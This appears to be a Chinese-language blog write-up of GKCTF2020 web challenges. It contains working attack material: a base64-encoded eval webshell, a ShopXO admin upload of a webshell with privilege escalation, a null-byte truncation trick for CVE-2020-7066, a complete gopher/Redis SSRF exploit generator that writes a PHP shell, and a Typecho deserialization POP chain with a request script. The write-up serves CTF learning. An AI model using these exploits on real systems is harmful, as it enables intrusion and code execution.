GKCTF2020WEB篇 wp

GKCTF2020 WEB wp

[GKCTF2020]CheckIN----bypass disable_functions

打開環境,審計代碼

在這裏插入圖片描述

代碼功能是需要傳入Ginkgo參數,其值需要經過base64編碼,後端再解碼通過eval函數執行

這裏直接構造一句話上傳編碼後的參數

eval($_POST[123]);---->ZXZhbCgkX1BPU1RbMTIzXSk7

在這裏插入圖片描述

直接通過連接中國蟻劍進入主目錄查看flag

在這裏插入圖片描述但是並沒有可讀權限

在這裏插入圖片描述

但是會發現一個readflag文件

在這裏插入圖片描述

ELF可執行文件,應該是讀取flag的文件,現在就是需要執行它
但是這裏並不能執行並且禁用了大多函數

在這裏插入圖片描述需要bypass disable_functions執行/readflag,

網上有利用腳本,直接修改腳本的命令上傳到強大的tmp目錄下

在這裏插入圖片描述

在這裏插入圖片描述
通過文件包含使php執行

include('/tmp/exploit')base64編碼之後傳參即回顯flag

在這裏插入圖片描述

[GKCTF2020]老八小超市兒----shopxo後臺上傳

打開環境是基於ShopXO的電商系統,網上搜一下很容易找到默認後臺

在這裏插入圖片描述
默認密碼爲shopxo

登錄成功後找到上傳點如下:

在這裏插入圖片描述

在這裏插入圖片描述在上面下載默認主體然後在以下文件夾上傳一句話,直接寫入文件夾,因爲等下也是要上傳zip文件的

在這裏插入圖片描述訪問http://9db2649b-284a-458e-9aa1-0ea003101c66.node3.buuoj.cn//public/static/index/default/3.php並沒有報錯說明現在可以用蟻劍連接了

在這裏插入圖片描述但是此時並不能直接拿到flag

在這裏插入圖片描述提示在根目錄下但是/root無權訪問說明肯定是要提權了

看一下auto.sh

在這裏插入圖片描述發現有python腳本在/var/mail/makeflaghint.py

而且發現flag.hint文件中的內容是有這裏控制的應該有着root權限直接加一個讀取flag的腳本

在這裏插入圖片描述

這裏明顯提示我們可以執行命令

在這裏插入圖片描述在這裏插入圖片描述稍等片刻flag就get了

[GKCTF2020]cve版簽到----CVE-2020-7066%00截斷

-在這裏插入圖片描述根據提示找到cve,我開始找錯了居然找成了server的cve,叫什麼Nginx/OpenResty內存泄漏/目錄穿越漏洞

在這裏插入圖片描述開始沒用頭緒的時候抓包發現hint說是要本地然後結合CVE%00截斷

在這裏插入圖片描述

然後又會提示必須以123結尾,那就123結尾嘛

在這裏插入圖片描述歐克 get!!!

[GKCTF2020]EZ三劍客-EzWeb----SSRF和redis5.X未授權漏洞

redis未授權漏洞復現

點擊跳轉redis4.X/5.X漏洞復現
在這裏插入圖片描述訪問環境有提示訪問?secret

在這裏插入圖片描述暴出ip,然後寫個腳本做個內網探測看同網段是否有回顯不同的,然後返回以下六個

在這裏插入圖片描述分別看了下發現173.170.206.11有回顯提示

在這裏插入圖片描述

說明需要找到可突破的端口

在這裏插入圖片描述跟着那個簡單的腳本添加一個常用端口號然後遍歷最後得到6379端口回顯不正常

這裏就要利用redis的未授權訪問通過gopher協議生成exp

from urllib import parse


#設置一系列變量協議、IP、端口、shell命令、文件以及路徑、數據庫命令以及payload
protocol="gopher://"
ip="173.107.52.11"
port="6379"
shell="\n\n<?php system(\"cat /flag\");?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
    "set 1 {}".format(shell.replace(" ","${IFS}")),
    "config set dir {}".format(path),
    "config set dbfilename {}".format(filename),
    "save"
    ]




if passwd:
   cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"


#將命令格式化輸出
def redis_format(arr):
   CRLF="\r\n"
   redis_arr = arr.split(" ")
   cmd=""
   cmd+="*"+str(len(redis_arr))
   for x in redis_arr:
      cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
   cmd+=CRLF
   return cmd


#編碼生成exp
if __name__=="__main__":
   for x in cmd:
      payload += parse.quote(redis_format(x))
   print(payload)

然後通過get方式打過去再訪問ip/shell.php就能getflag

在這裏插入圖片描述

[GKCTF2020]EZ三劍客-EzNode----Nodejs內置函數特性

在這裏插入圖片描述對Nodejs不是很熟,直接用大佬的腳本了

在這裏插入圖片描述

[GKCTF2020]EZ三劍客-EzTypecho----php反序列化

在這裏插入圖片描述拿到這個站是typecho的安裝界面,直接百度typecho的漏洞就有好嘛----反序列化

在這裏插入圖片描述這裏是相關代碼,base64解碼後進行反序列化。
然後漏洞分析這裏講的很清楚 https://www.freebuf.com/vuls/155753.html

反序列化複製給$ config
----實例化Typecho_db(其文件在html.zip\ html\ var\ Typecho\ db.php)

----其中對傳入的$ adapterName進行了字符串拼接

----如果傳入的是一個類將會觸發__toString方法(把類當作字符串時觸發)

----尋找到Feed這個類中的__toString() 魔術方法,訪問了$ item[‘author’]->screenName

----當$ item[‘author’]->screenName爲一個不可訪問的屬性時,將會觸發該類的__get()魔術方法(用於從不可訪問數據讀取數據)

----尋找輸出點利用__get方法

利用條件:

1、$_GET[‘finish’] 參數不爲空
2、Referer 必須是本站

<?php 
$CMD = 'cat /flag'; 
class Typecho_Feed { 
    const RSS2 = 'RSS 2.0'; 
    const ATOM1 = 'ATOM 1.0'; 
    private $_type; 
    private $_items; 
    public function __construct() { 
    //$this->_type = $this::RSS2; 
        $this->_type = $this::ATOM1; 
        $this->_items[0] = array( 
            'category' => array(new Typecho_Request()), 
            'author' => new Typecho_Request(), 
        ); 
    } 
} 
class Typecho_Request { 
    private $_params = array(); 
    private $_filter = array(); 
    public function __construct() { 
        $this->_params['screenName'] = $GLOBALS[CMD]; 
        $this->_filter[0] = 'assert';
    } 
} 
$exp = array( 'adapter' => new Typecho_Feed(), 'prefix' => 'typecho_' );
echo base64_encode(serialize($exp)); 
?>
import requests
url='http://54393664-a656-4761-8793-d851f6fbd293.node3.buuoj.cn/install.php?finish=1'
files={'file':123}


headers={
#__typecho_config爲序列化的內容
'cookie':'PHPSESSID=test; __typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6 IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi 4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YToxOntzOjY6ImF1dGhv ciI7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYX JhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7czo5OiJjYXQgL2ZsYWciO31zOjI0OiIAVHlw ZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6Njoic3lzdGVtIjt9fX19fXM6NjoicH JlZml4IjtzOjQ6InRlc3QiO30=',




'Referer':'http://54393664-a656-4761-8793-d851f6fbd293.node3.buuoj.cn/install.php'
        }


re=requests.post(url, files=files, headers=headers, data= {"PHP_SESSION_UPLOAD_PROGRESS": "123456789"})
print(re.text)

在這裏插入圖片描述poc構造經過base64編碼的內容,然後在cookie裏作爲__typecho_config的值上傳,以及post一個和PHP_SESSION_UOLOAD_PROGRESS的同名變量,返回網頁源代碼得到flag

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章